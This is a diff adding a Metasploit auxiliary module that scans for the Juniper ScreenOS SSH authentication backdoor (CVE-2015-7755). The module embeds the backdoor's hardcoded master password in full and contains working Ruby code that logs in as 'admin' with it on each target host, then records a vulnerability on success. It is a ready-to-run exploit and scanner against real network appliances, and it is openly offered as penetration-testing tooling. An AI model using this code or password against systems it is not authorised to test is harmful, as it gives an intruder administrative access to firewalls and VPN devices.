|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + |
| 8 | + require 'net/ssh' |
| 9 | + include Msf::Auxiliary::Scanner |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => 'Juniper SSH Backdoor Scanner', |
| 15 | + 'Description' => %q{ |
| 16 | + This module scans for the Juniper SSH backdoor. Also valid on telnet. |
| 17 | + A username is required, and hte password is <<< %s(un='%s') = %u |
| 18 | + }, |
| 19 | + 'Author' => [ |
| 20 | + 'hdm', # discovery |
| 21 | + 'h00die <[email protected]>' # Module |
| 22 | + ], |
| 23 | + 'References' => [ |
| 24 | + ['CVE', '2015-7755'], |
| 25 | + ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor'], |
| 26 | + ['URL', 'https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10713&cat=SIRT_1&actp=LIST'] |
| 27 | + ], |
| 28 | + 'DisclosureDate' => 'Dec 20 2015', |
| 29 | + 'License' => MSF_LICENSE |
| 30 | + )) |
| 31 | + |
| 32 | + register_options([ |
| 33 | + Opt::RPORT(22) |
| 34 | + ]) |
| 35 | + |
| 36 | + register_advanced_options([ |
| 37 | + OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]), |
| 38 | + OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10]) |
| 39 | + ]) |
| 40 | + end |
| 41 | + |
| 42 | + def run_host(ip) |
| 43 | + ssh_opts = { |
| 44 | + port: rport, |
| 45 | + auth_methods: ['password', 'keyboard-interactive'], |
| 46 | + password: '<<< %s(un=\'%s\') = %u' |
| 47 | + } |
| 48 | + |
| 49 | + ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] |
| 50 | + |
| 51 | + begin |
| 52 | + ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do |
| 53 | + Net::SSH.start( |
| 54 | + ip, |
| 55 | + 'admin', |
| 56 | + ssh_opts |
| 57 | + ) |
| 58 | + end |
| 59 | + rescue Net::SSH::Exception => e |
| 60 | + vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}") |
| 61 | + return |
| 62 | + end |
| 63 | + |
| 64 | + if ssh |
| 65 | + print_good("#{ip}:#{rport} - Logged in with backdoor account admin:<<< %s(un=\'%s\') = %u") |
| 66 | + report_vuln( |
| 67 | + :host => ip, |
| 68 | + :name => self.name, |
| 69 | + :refs => self.references, |
| 70 | + :info => ssh.transport.server_version.version |
| 71 | + ) |
| 72 | + end |
| 73 | + end |
| 74 | + |
| 75 | + def rport |
| 76 | + datastore['RPORT'] |
| 77 | + end |
| 78 | + |
| 79 | +end |
0 commit comments